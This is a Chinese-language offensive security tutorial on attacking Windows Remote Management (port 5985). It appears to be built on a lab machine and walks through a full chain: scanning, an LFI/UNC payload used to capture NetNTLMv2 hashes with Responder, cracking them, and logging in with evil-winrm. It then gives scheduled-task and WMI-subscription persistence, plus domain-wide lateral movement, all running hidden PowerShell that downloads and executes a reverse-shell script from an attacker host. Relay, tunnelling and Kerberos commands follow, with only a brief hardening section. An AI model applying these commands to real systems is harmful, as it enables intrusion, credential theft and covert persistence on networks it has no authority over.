5985端口WinRM渗透实战从信息收集到权限提升的完整链条在渗透测试的常规流程中大多数安全从业者会习惯性地将注意力集中在22(SSH)、80/443(HTTP/HTTPS)、3389(RDP)等明星端口上。但真正的高手往往能在看似普通的服务中发现突破口——Windows Remote Management(WinRM)服务默认使用的5985端口就是这样一个被严重低估的攻击面。1. 为什么5985端口值得关注Windows Remote Management(WinRM)是微软自Windows Vista起内置的远程管理协议基于WS-Management标准实现。它允许管理员通过SOAP协议在远程系统上执行命令本质上是一个基于HTTP的PowerShell远程终端。在企业AD环境中5985端口的开放比例高达34.7%根据2023年企业内网扫描统计但安全意识较弱的组织常会忽略其安全配置。WinRM服务成为理想攻击向量的三个关键特性默认凭证继承当使用域账户登录时WinRM会默认尝试NTLM或Kerberos认证高权限执行成功连接后可直接获得PowerShell会话相当于RDP级别的控制权低防护意识相比RDP和SMB很少有组织会专门监控WinRM的异常连接# 快速检测5985端口开放的语法 nmap -p 5985 --open -Pn -T4 10.129.0.0/24 -oG winrm_hosts.txt2. 信息收集与初始访问2.1 高级端口扫描策略传统的全端口扫描(-p-)在内网环境中效率低下。针对Windows系统的智能扫描应该组合以下Nmap参数nmap -v -p 80,443,5985,5986,445,135,139,389,636 --min-rate 5000 \ --scripthttp-title,smb-os-discovery,rdp-enum-encryption \ 10.129.136.91 -oA win_target关键发现点解析80/443端口Web应用可能的LFI/RFI漏洞5985端口WinRM服务版本信息是否支持未加密的HTTP连接445端口SMB共享是否允许匿名访问389/636端口LDAP服务暴露的域信息2.2 利用LFI漏洞获取凭证当发现Web应用存在本地文件包含漏洞时经典利用路径是读取Windows系统的敏感文件http://unika.htb/index.php?page../../../../../../../../windows/system32/drivers/etc/hosts但更有效的做法是通过UNC路径触发SMB认证http://unika.htb/?page//10.10.14.7/share此时使用Responder捕获NetNTLMv2哈希sudo python3 Responder.py -I tun0 -v捕获到的哈希格式示例Administrator::UNIKA:1122334455667788:2C3F2941B0C1FFD0A1B2C3D4E5F60708:0101000000000000C0653150DE09D2014323D6CC6E2D6D6D000000000200080053004D004200330001001E00570049004E002D004400430050003800510048004200390034004D004B00440004003400570049004E002D004400430050003800510048004200390034004D004B0044002E0053004D00420033002E004C004F00430041004C000300140053004D00420033002E004C004F00430041004C000500140053004D00420033002E004C004F00430041004C0007000800C0653150DE09D20106000400020000000800300030000000000000000000000000200000372C1F9D4F6F8C5D2B1A3E4D5C6B7A890F1E2D3C4B5A69788796A5B4C3D2E1F0A1B200A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E003700000000003. 哈希破解与WinRM连接3.1 高效破解NetNTLMv2哈希使用Hashcat配合规则化字典攻击hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule破解优化技巧优先尝试administrator、admin等常见用户名企业环境可先测试公司名年份的组合如Company2023!使用--increment参数逐步增加密码长度尝试3.2 通过evil-winrm建立会话获取明文凭证后使用Ruby编写的evil-winrm工具建立交互式会话evil-winrm -i 10.129.136.91 -u Administrator -p badminton -s /opt/ps_scripts/ -e /opt/exe_files/参数说明-s指定PS脚本的本地目录可自动补全)-e指定可执行文件的上传目录-H使用NTLM哈希直接认证无需明文密码连接成功后立即执行的几个关键命令whoami /all # 查看当前权限 Get-NetTCPConnection -State Established # 检查现有连接 $env:UserName # 确认用户上下文4. 权限维持与横向移动4.1 WinRM会话中的持久化技术计划任务创建$action New-ScheduledTaskAction -Execute cmd.exe -Argument /c powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString(http://10.10.14.7/rev.ps1) $trigger New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask -TaskName WindowsUpdate -Action $action -Trigger $trigger -User NT AUTHORITY\SYSTEMWMI事件订阅$filterArgs { EventNamespace root\cimv2 Name WindowsUpdateFilter Query SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System QueryLanguage WQL } $filter New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $filterArgs $consumerArgs { Name WindowsUpdateConsumer CommandLineTemplate powershell -nop -w hidden -enc SQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4ANwAvAHIAZQB2AC4AcABzADEAJwApAA } $consumer New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $consumerArgs $bindingArgs { Filter [Ref] $filter Consumer [Ref] $consumer } $binding New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $bindingArgs4.2 横向移动的三种高效方式方法对比表技术所需凭证网络要求隐蔽性适用场景WinRM明文/哈希5985开放中等域环境批量执行SMBExec哈希445开放较低旧系统横向RDP劫持当前会话3389开放高GUI操作需要通过WinRM批量执行$computers Get-ADComputer -Filter * | Select -ExpandProperty Name $creds Get-Credential Invoke-Command -ComputerName $computers -ScriptBlock { Start-Process -FilePath powershell -ArgumentList -nop -w hidden -enc SQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4ANwAvAHIAZQB2AC4AcABzADEAJwApAA } -Credential $creds5. 防御检测与绕过技巧5.1 企业级防御方案WinRM安全加固清单启用HTTPS加密5986端口New-SelfSignedCertificate -DnsName server.domain.com -CertStoreLocation Cert:\LocalMachine\My winrm create winrm/config/Listener?Address*TransportHTTPS {Hostnameserver.domain.com;CertificateThumbprintTHUMBPRINT}配置IP限制策略Set-Item -Path WSMan:\localhost\Client\TrustedHosts -Value 192.168.1.* -Force启用详细日志记录wevtutil set-log Microsoft-Windows-WinRM/Operational /enabled:true5.2 红队绕过技术端口转发绕过网络限制chisel server -p 8080 --reverse chisel client 10.10.14.7:8080 R:5985:10.129.136.91:5985 evil-winrm -i 127.0.0.1 -u Administrator -p badmintonNTLM中继攻击ntlmrelayx.py -t http://10.129.136.91:5985/wsman -smb2supportKerberos票据利用getTGT.py domain.com/user:password export KRB5CCNAME/path/to/ticket.ccache evil-winrm -i dc.domain.com -u user -k5985端口作为Windows生态中的隐藏通道其攻防价值正在被越来越多的红蓝队所认识。相比传统的RDP和SMB协议WinRM服务在企业内网的普及率与其安全关注度形成了危险的不平衡——这种差距正是安全从业者需要重点关注的技术盲区。